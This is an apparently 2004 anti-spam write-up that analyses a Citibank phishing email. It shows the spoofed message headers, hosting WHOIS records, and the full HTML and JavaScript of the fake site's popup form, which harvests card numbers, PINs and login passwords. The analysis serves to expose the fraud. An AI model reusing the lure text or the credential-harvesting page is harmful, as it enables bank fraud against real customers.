Example of 'phishing' scam:
On July 2 I received the following message:
From: "Support" <cash@citibank.com>
To: <joewein@pobox.com>
Sent: Friday, 02 July, 2004 0:01
Subject: Please confirm your account details with Citibank!
Dear Customer,
This email was sent by the Citibank server to verify your E-mail
address. You must complete this process by clicking on the link
below and entering in the small window your Citibank Debit
Card number and PIN that you use on ATM.
This is done for your protection - because some of our members
no longer have access to their email addresses and we must
verify it.
To verify your E-mail address and access your bank account,
click on the link below:
https://wwww.citibank.com/signin/confirmation.jsp
---------------------------------------
Thank you for being our customer
---------------------------------------
The sender address looks like Citibank and the link appears to lead to Citibank's website. If you click on the link, you get a site that looks like a genuine Citibank website:
If you fill in totally bogus numbers and click submit, the site will accept them without complaint, as it does not verify them but only forwards them to the criminals...
If you look at message source code (Ctrl+F3 in Outlook Express), you will see that it was sent from a machine accessing via an Italian phone company and the website link actually goes to the URL http://219.148.127.67/scripts/confirmation.htm.
Return-path: <cash@citibank.com>
Envelope-to: joewein@pobox.com
Received: from host90-236.pool81117.interbusiness.it (host90-236.pool81117.interbusiness.it [81.117.236.90])
by kelvin.pobox.com (Postfix) with SMTP id C3D8A184DA9;
Thu, 1 Jul 2004 10:20:13 -0400 (EDT)
X-Message-Info: PVHpdpBRT386vYQ73DgUJ038RDhxWYP334B093EU54gvc2GW
Received: (from r63leaven@localhost)
by jz703-create931.yph51e.hotmail.com (6.42.66/9.40.36) id s797C55j51593;
Thu, 01 Jul 2004 17:06:30 +0200 GMT
X-Authentication-Warning: hvy27-bombast1.egf59ofb.hotmail.com:
fs950decision set sender to cash@citibank.com using -u
MIME-Version: 1.0
Date: Thu, 01 Jul 2004 14:01:30 -0100
From: Support <cash@citibank.com>
Subject: Please confirm your account details with Citibank!
To: joewein@pobox.com
Message-Id: <mk891lrr282-565696110917656-85715486442173513960083794653@fischbein26>
Content-Type: multipart/alternative;
boundary="--63924826445955534931"
----63924826445955534931
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
<P>Dear Customer,</P>
<P><BR>This email was sent by the Citibank server to verify your E-mail<BR=
>address. You must complete this process by clicking on the link<BR>below =
and entering in the small window your Citibank Debit<BR>Card number and PI=
N that you use on ATM.</P>
<P><BR>This is done for your protection - because some of our members<BR>n=
o longer have access to their email addresses and we must<BR>verify it.</P=
>
<P><BR>To verify your E-mail address and access your bank account,<BR>clic=
k on the link below:</P><A href=3D"http://219.148.127.67/scripts/confirmat=
ion.htm">https://wwww.citibank.com/signin/confirmation.jsp</A></A>
<P></P>
<P><BR>---------------------------------------</P>
<P>Thank you for being our customer</P>
<P>---------------------------------------</P>
----63924826445955534931--
'Phishing'-site hosted in China (China Telecom):
The actual scam website address (http://219.148.127.67/scripts/confirmation.htm) was still working two days after we received the spam email. The site is hosted by the following network:
inetnum: 219.148.0.0 - 219.148.159.255
netname: CHINATELECOM-he
descr: CHINANET hebei province network
descr: China Telecom
descr: No.31,jingrong street
descr: Beijing 100032
country: CN
admin-c: CH93-AP
tech-c: BR3-AP
mnt-by: MAINT-CHINANET
mnt-lower: MAINT-CHINATELECOM-he
changed: hostmaster@ns.chinanet.cn.net 20030820
status: ALLOCATED NON-PORTABLE
source: APNIC
person: Chinanet Hostmaster
address: No.31 ,jingrong street,beijing
address: 100032
country: CN
phone: 10-66027112
fax-no: 10-58501144
e-mail: hostmaster@ns.chinanet.cn.net
e-mail: anti-spam@ns.chinanet.cn.net
nic-hdl: CH93-AP
mnt-by: MAINT-CHINANET
changed: hostmaster@ns.chinanet.cn.net 20021016
remarks: hostmaster is not for spam complaint,please send spam
complaint to anti-spam@ns.chinanet.cn.net
source: APNIC
person: Bin Ren
nic-hdl: BR3-AP
e-mail: renbin@mail.he.cn
address: 10F Ximei Building NO.6 Jianshe South Street
address: Shijiazhuang 050011 China
phone: 311-5211551
fax-no: 311-5211578
country: CN
changed: renbin@mail.he.cn 20040430
mnt-by: MAINT-CHINATELECOM-HE
source: APNIC
When we checked on 2004-07-20, a total of 19 days after the initial email, the fraud website (http://219.148.127.67/scripts/confirmation.htm) was still active on the Chinanet server. It opens the real Citibank website, which shows a trustworthy-looking page with Citibank URL, but then pops up a window without URL line that runs a PHP script.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Citibank</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript" type="text/javascript">
<!-- Hide script from older browsers
setTimeout ("changePage()", 0);
function changePage() {
if (self.parent.frames.length != 0)
self.parent.location=document.location;
}
// end hiding contents -->
</script>
<meta http-equiv="refresh"
content="0;URL=https://web.da-us.citibank.com/cgi-bin/citifi/scripts/myciti/support.jsp">
<SCRIPT LANGUAGE="JavaScript">
<!--begin
{
window.open('pop.php','MyWindow','scrollbars=no,resizable=no,toolbar=no,
width=350,height=430,left=350,top=200');
}
// end -->
</SCRIPT>
</head>
<body>
</body>
</html>
Here is the PHP script for the child window:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Citibank - Confirm your identity</title>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->
</script>
<style type="text/css">
<!--
.default
{
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
.defaultErr
{
font-family: Arial, Helvetica, sans-serif;
font-size: 11px;
color: #FF0000;
}
.style1 {font-family: Arial, Helvetica, sans-serif}
-->
</style>
</head>
<body topmargin="0" leftmargin="0" bgcolor="#FFFFFF">
<form name="Citi" method="post" runat="vdaemon" action="process.php">
<table width="350" height="61" border="0" align="center" cellpadding="0"
cellspacing="0" bordercolor="#111111" id="AutoNumber1"
style="border-collapse: collapse">
<tr>
<td height="36" background="http://www.citibank.co.uk/uk/images/wave_new.gif"></td>
</tr>
<tr>
<td width="100%" height="42" > <table width="350" height="42" border="0"
cellpadding="0" cellspacing="0">
<tr>
<td width="10" height="42"> </td>
<td width="340"><img src="http://www.citibank.co.uk/uk/images/logo3.gif"
width="96" height="42"></td>
</tr>
</table></td>
</tr>
</table>
<table width="350" border="0" align="center" cellpadding="0" cellspacing="0"
bordercolor="#111111" id="AutoNumber5" style="border-collapse: collapse">
<tr>
<td bgcolor="#CCCCCC"><img src="../images/trans.gif" width="1" height="1">
</td></font></td>
</tr>
</table>
<table width="350" border="0" align="center" cellpadding="3" cellspacing="0">
<tr>
<td height="22">
<div align="center"><b><font face="Arial, Helvetica, sans-serif" size="2">Please
update your ATM/Debit Card number</font></b></div>
</td>
</tr>
</table>
<table width="345" height="42" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="28">
<div align="center"><div class="defaultErr" id="VDaemonID_1"> </div>
</div></td>
</tr>
</table>
<table width="350" border="0" align="center" cellpadding="5" cellspacing="0"
bordercolor="#111111" id="AutoNumber4" style="border-collapse: collapse">
<tr>
<td align="right" width="106">
<div align="right"><font size="2" face="Arial, Helvetica, sans-serif">ATM/Debit
Card <br>
(CIN) / Card # </font></div>
</td>
<td width="224" align="left"><font face="Arial">
<input name="CardNumber" type="text" size="16" maxlength="16" />
</font><font face="Arial" size="1">
</font></td>
</tr>
<tr>
<td align="right" width="106">
<div align="right"><font size="2" face="Arial, Helvetica, sans-serif">ATM
PIN # </font></div>
</td>
<td align="left"><font face="Arial">
<input name="CurrentPIN" type="password" size="4" maxlength="4" />
</font><font face="Arial" size="1">
</font></td>
</tr>
<tr>
<td height="32" align="right" valign="top"><font size="2"
face="Arial, Helvetica, sans-serif">User
ID </font></td>
<td align="left" valign="top"><font face="Arial">
<input name="NewPIN" type="text" size="25" maxlength="25" />
</font></td>
</tr>
<tr>
<td height="56" align="right" valign="top"><font size="2"
face="Arial, Helvetica, sans-serif">Password
</font></td>
<td align="left" valign="top"><font face="Arial">
<input name="AccountNumber" type="password" id="AccountNumber"
size="25" maxlength="25" />
</font>
<div align="left" class="style1"><font size="1" color="#666666">To verify
your identity enter your login and<br>
password that you use to login on our site!</font></div>
<tr>
<td height="34" align="right" valign="top">
<div align="center" class="style1"></div>
</td>
<td align="left" valign="top"><font face="Arial" size="2">
<input name="Submit" type="image" id="Submit"
src="https://web-ao.da-us.citibank.com/images/univers/buttons/cont_btn.gif"
width="77" height="24" border="0" />
</font><font face="Arial"> </font>
</table>
<div align="left">
<table width="350" border="0" align="center" cellpadding="0" cellspacing="0"
bordercolor="#111111" id="AutoNumber5" style="border-collapse: collapse">
<tr>
<td bgcolor="#CCCCCC"><img src="../images/trans.gif" width="1" height="1"></td>
</tr>
</table>
</div>
<div align="left">
<table width="350" border="0" align="center" cellpadding="5" cellspacing="0"
bordercolor="#111111" id="AutoNumber6" style="border-collapse: collapse">
<tr>
<td width="163"><font face="Arial" size="1"><img border="0"
src="http://www.citibank.com/domain/images/mem_cgrp.gif" width="108" height="13"><br>
</font><font size="1"><span class="style1"><font color="#666666">
Copyright © 2004 Citicorp</font></span></font></td>
<td width="90"><div align="right"><font face="Arial" size="1" color="#666666">
<img src="https://www.citibank.com/us/cards/images/homepage/lock.gif"></font>
</div></td>
<td width="67"><div align="left" class="style1"><font size="1" color="#666666">
128bit SSL</font></div></td>
</tr>
</table>
</div>
<input type="hidden" name="VDaemonValidators"
value="O:13:"cvdvalruntime":5:{s:5:"sPage";s:16:"
/scripts/pop.php";s:5:"sArgs";s:0:"";s:7:"sAnchor";
s:0:"";s:5:"sForm";s:4:"Citi";s:6:"aNodes";
a:5:{i:0;O:7:"xmlnode":3:{s:5:"sName";s:11:"vlvalidator";
s:6:"aAttrs";a:4:{s:4:"name";s:13:"CardNumberReq";
s:4:"type";s:8:"required";s:7:"control";s:10:
"CardNumber";s:6:"errmsg";s:16:"Card # required.";}
s:9:"aSubNodes";a:0:{}}i:1;O:7:"xmlnode":3:{s:5:"sName";
s:11:"vlvalidator";s:6:"aAttrs";a:5:{s:4:"name";s:15:"
CardNumberCheck";s:4:"type";s:6:"custom";s:7:
"control";s:10:"CardNumber";s:6:"errmsg";
s:15:"Invalid card #.";s:8:"function";s:5:"CCVal";}
s:9:"aSubNodes";a:0:{}}i:2;O:7:"xmlnode":3:
s:5:"sName";s:11:"vlvalidator";s:6:"aAttrs";a:5:
{s:4:"name";s:18:"CardNumberNumCheck";s:4:"
type";s:9:"checktype";s:7:"control";s:10:"
CardNumber";s:6:"errmsg";s:15:"Invalid card #.";s:9:
"validtype";s:7:"integer";}s:9:"aSubNodes";a:0:
{}}i:3;O:7:"xmlnode":3:{s:5:"sName";s:11:"
vlvalidator";s:6:"aAttrs";a:4:{s:4:"name";s:13:
"CurrentPINReq";s:4:"type";s:8:"required";s:7:
"control";s:10:"CurrentPIN";s:6:"errmsg";s:21:
"Current PIN required.";}s:9:"aSubNodes";a:0:{}}i:4;O:7:
"xmlnode":3:{s:5:"sName";s:11:"vlvalidator";
s:6:"aAttrs";a:5:{s:4:"name";s:16:"
CurrentPINRegExp";s:4:"type";s:6:"regexp";s:7:
"control";s:10:"CurrentPIN";s:6:"errmsg";
s:20:"Invalid Current PIN.";s:6:"regexp";
s:9:"/^\d{4}$/";}s:9:"aSubNodes";a:0:{}}}}" />
</form>
</body>
</html>